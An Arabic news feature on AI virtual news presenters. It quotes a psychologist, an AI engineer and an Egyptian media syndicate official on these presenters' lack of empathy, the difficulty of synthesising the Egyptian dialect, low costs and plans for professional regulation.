اللافت أن الآراء انقسمت بالتساوي عندما طُرح سؤال مباشر حول الثقة في محتوى يقدمه مذيع افتراضي، ما يشير إلى أن الذكاء الاصطناعي قد يكسب مساحة من الثقة، لكنها لا تزال محدودة ومشروطة

 وجه جميل وصوت دقيق… لكن أين التعاطف؟

ومن الزاوية النفسية، يشير د. وليد هندي، استشاري الصحة النفسية، إلى أن المذيع الافتراضي – رغم كونه إنجازًا تقنيًا لافتًا – يظل كيانًا ناقصًا نفسيًا، يفتقد إلى مقومات التأثير الوجداني العميق في الجمهور. فهو لا يمتلك هوية نفسية متكاملة، ولا يُتيح مساحة للتفاعل العاطفي الحقيقي، الذي يُعدّ أحد أهم عناصر التأثير الإعلامي. ويضيف: “رغم أن هذه الشخصيات الرقمية قد تُسهّل إيصال المحتوى لبعض الفئات كالمكفوفين أو غير المتعلمين، إلا أنها لا تُعوض الأثر النفسي الذي يتركه المذيع البشري في وعي ووجدان المتلقي”.

 يرى هندي أن شخصية الأفاتار تفتقر لما يُعرف في علم النفس بـ” الاستبصار” أو “الإدراك التصحيحي”، إذ إنها تُردد ما تتلقاه من بيانات دون مراجعة أو وعي، مما يجعلها عرضة لتكرار الأخطاء دون تمييز. ويشير إلى أن المذيع الحقيقي وحده من يملك هذه القدرة النفسية على مراجعة الذات، والتفاعل مع الموقف بناءً على خلفية وجدانية وشخصية متكاملة.

 في لحظات الألم، كعرض مشاهد الحرب أو الكوارث، أو في لحظات الفرح، كفوز فريق وطني، يبرز الفرق الجوهري بين الإنسان والآلة. المذيع البشري قد تتغير نبرته، ينكسر صوته، يبكي، يضحك، ويتلعثم. كلها إشارات نفسية تُحدث أثرًا عاطفيًا لدى المتلقي، وتُفعّل ما يُعرف في علم النفس بـ” التناغم الشعوري”. بينما يظل الأفاتار محايدًا، بارداً، وكأنه يقرأ من ورقة.

 ويضيف: “المذيع الحقيقي يملك مهارات ارتجال فريدة تُعرف بالاحتواء اللحظي، فينقذ الموقف حين يحدث خلل على الهواء أو فراغ في البث، أما المذيع الافتراضي فمحكوم ببرمجة جامدة لا تعترف بالحساسية النفسية للحظة”.

 كما يشير إلى جانب نفسي بالغ الأهمية، وهو “الانتماء المهني”، والذي يتشكل من مشاعر فخر، وكفاح، وتاريخ طويل من النجاحات والانكسارات. المذيع البشري ابن المؤسسة التي يعمل بها، يشعر تجاهها، يدافع عنها، يتألم لألمها ويفرح بنجاحها. وهو ما يستحيل زرعه في شخصية افتراضية خالية من العاطفة.

 ويتابع حديثه بالإشارة إلى أثر المذيع البشري في تكوين الطموح لدى الأطفال والمراهقين، مؤكدًا أن هذه الشخصيات تشكّل قدوة نفسية حقيقية، تُغذّي الخيال والهوية. “كنت أتتبع المذيع أحمد سمير، وأقلده في صوته وربطة عنقه، وتكوّنت لدي رغبة حقيقية في أن أكون مثله… فهل يمكن للطفل أن يحلم أن يكون أفاتار؟!”.

 ويختم الدكتور وليد هندي بقوله: “رغم إعلان دول كبرى – مثل الصين – عن آلاف من المذيعين الافتراضيين، لم نرَ لهم تأثيرًا نفسيًا أو وجدانيًا يُذكر. ببساطة، لأنهم يفتقرون للروح، والروح هي أساس كل تواصل إنساني حقيقي. المذيع الافتراضي… وهم عظيم تقنيًا، لكنه فقير وجدانيًا

مهندس ذكاء اصطناعي: اللهجة المصرية.. تحدٍ مستمر للآلة

صرح المهندس أحمد رأفت، مهندس ميكانيكا ومتخصص في أدوات الذكاء الاصطناعي، حول استخدام تقنيات الذكاء الاصطناعي في مجال الصوت والفيديو، مسلطًا الضوء على التحديات والفرص المتاحة.

وأوضح المهندس رأفت أن استخدام تقنيات الصوت يمر بمراحل متدرجة، تبدأ بتقنية “النص إلى كلام” التقليدية، والتي وصفها بأنها ذات جودة محدودة وتبدو ميكانيكية. وأشار إلى المستوى الثاني الذي يستخدم منصات الذكاء الاصطناعي باللغة الإنجليزية لإنتاج صوت يقترب من اللهجة المصرية، ولكنه لا يرتقي إلى جودة اللهجة الأصلية.

 أما المستوى الثالث، وفقًا لتصريحات المهندس رأفت، فيعتمد على تسجيل الصوت بلهجة مصرية طبيعية واستخدام برامج تغيير الصوت لمحاكة أصوات شخصيات معينة، معتبرًا هذه الطريقة الأعلى جودة للوصول إلى لهجة مصرية واقعية.

 وفيما يتعلق بالمستوى الرابع والأعلى، لفت المهندس إلى أنه يعتمد على كتابة النص بالعربية الفصحى أو العامية وتشكيله لغويًا، ثم استخدام نماذج مدربة على نطق اللهجة المصرية، مع الإشارة إلى التحديات القائمة نظرًا لعدم تدريب معظم النماذج بشكل كافٍ على هذه اللهجة.

 أكد المهندس رأفت على أن “اللكنة المصرية تحديدًا تُعد من أصعب اللهجات التي يمكن للذكاء الاصطناعي محاكاتها بدقة، وذلك لأنها خليط لغوي يجمع بين عدة لغات، مما يجعل إتقانها تحديًا لنماذج الذكاء الاصطناعي، خاصة مع محدودية تدريبها على اللغة العربية أصلًا.”

بالانتقال إلى تجهيز الفيديو، شرح المهندس إمكانية تركيب الصوت على فيديو حقيقي أو صورة، مع الإشارة إلى منصات مثل Magic AI التي تتيح إنشاء فيديوهات أو صور متحركة بمدة محدودة في النسخة المجانية. كما تطرق إلى استخدام المواقع لمعلقين صوتيين جاهزين لإنشاء ما يُعرف بالمذيعين الافتراضيين، مع ملاحظة أن هذه الطرق قد لا تقدم أفضل جودة في التفاعل الصوتي والتعبير عن المشاعر.

 وفي ختام تصريحه، أكد المهندس أحمد رأفت على أن “التفاعل الحقيقي مع الصوت والمشاعر ما يزال يتطلب تدخلاً بشريًا”، مشيرًا إلى أن المشاعر المرتبطة بنبرة الصوت لا تزال غير مدعومة بالكامل في الذكاء الاصطناعي. ولكنه نوّه إلى الميزة الاقتصادية لهذه التقنيات، حيث إن تكلفتها “منخفضة جدًا مقارنة بأجور المذيعين البشريين.”

 نقابة الإعلاميين تؤكد: الذكاء الاصطناعي فرصة لتطوير الأداء الإعلامي مع الحفاظ على الدور الإنساني

يرى أيمن عدلي مهدي، رئيس لجنة التدريب والتثقيف بنقابة الإعلاميين، أن ظاهرة المذيعين الافتراضيين تمثل انعكاسًا طبيعيًا للتطور التكنولوجي السريع الذي يشهده الإعلام، نتيجة اندماج الذكاء الاصطناعي المتزايد في إنتاج وتقديم المحتوى.

ويشير إلى أن نقابة الإعلاميين تتعامل مع هذه الظاهرة من زاويتين: الأولى: أنها قد ترفع من كفاءة الإنتاج وجودة المحتوى. الثانية: أنها تثير تساؤلات حول المصداقية والجانب الإنساني الذي لا يمكن تعويضه.

ويؤكد أن الإعلام التنموي، الذي يهدف إلى بناء الوعي المجتمعي والإنساني، لا يمكن أن يؤديه الذكاء الاصطناعي منفردًا، لأنه يتطلب تفاعلًا إنسانيًا مباشرًا لا توفره التقنيات مهما تطورت. لذلك، ترى النقابة أن المذيع الافتراضي ليس مجرد تقنية، بل عنصر جديد في المشهد الإعلامي يجب ضبطه بضوابط مهنية دقيقة، تحمي دور الإعلامي البشري في صناعة الوعي وتشكيل الرأي العام.

ورغم عدم وجود إطار تنظيمي شامل حتى الآن لضبط عمل المذيعين الافتراضيين، إلا أن النقابة تعمل بالتعاون مع المجلس الأعلى لتنظيم الإعلام على وضع آليات قانونية ومهنية تضمن التزام المحتوى المقدم عبر الذكاء الاصطناعي بالمعايير الأخلاقية والمهنية.

ويترافق هذا التوجه مع ضرورة تطوير برامج تدريبية للإعلاميين، لضمان جاهزيتهم في استخدام هذه الأدوات بكفاءة وتوازن بين التقنية والرسالة الإعلامية.

وفيما يخص مستقبل الإعلاميين مع الذكاء الاصطناعي، يؤكد عدلي أن النقابة لا تراه تهديدًا، بل فرصة كبيرة لتطوير الأداء الإعلامي، بشرط أن يُحسن الإعلاميون استخدام هذه الأدوات.

فالمهارات الجديدة، مثل التعامل مع البيانات وتحسين جودة الإنتاج، أصبحت أساسية، لكنها لا تلغي أهمية التحليل والتفاعل الإنساني وقراءة السياقات الاجتماعية والثقافية.

ويختتم بالتأكيد على وجود نية داخل النقابة لوضع مدونة سلوك وإرشادات مهنية واضحة، تتضمن: ضوابط لاستخدام المذيعين الافتراضيين، آليات لضمان الالتزام المهني، برامج تدريبية للجيل الجديد من الإعلاميين، ليكونوا مؤهلين للتعامل مع سوق إعلامي متغير لا يُقصي الإنسان، بل يتطلب منه التطور المستمر.

 المذيع الافتراضي واقع لا مفر منه، وتقنية تتطور بسرعة مذهلة، وقد تفرض نفسها في مساحات واسعة من الإعلام. لكن رغم ذلك، تبقى للمذيع البشري كاريزما خاصة، ودفء إنساني، وتفاعل حي لا يمكن تقليده أو برمجته، فالذكاء الاصطناعي قد يحفظ المعلومة، ينسّقها، يعرضها، بل وربما يتقن الإلقاء والتفاعل السطحي، لكنه يظل “بلا روح”، في حين أن المذيع الحقيقي يُشبه القصيدة الحيّة، تنبض بكل كلمة، وتنقل المعنى والمشاعر

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى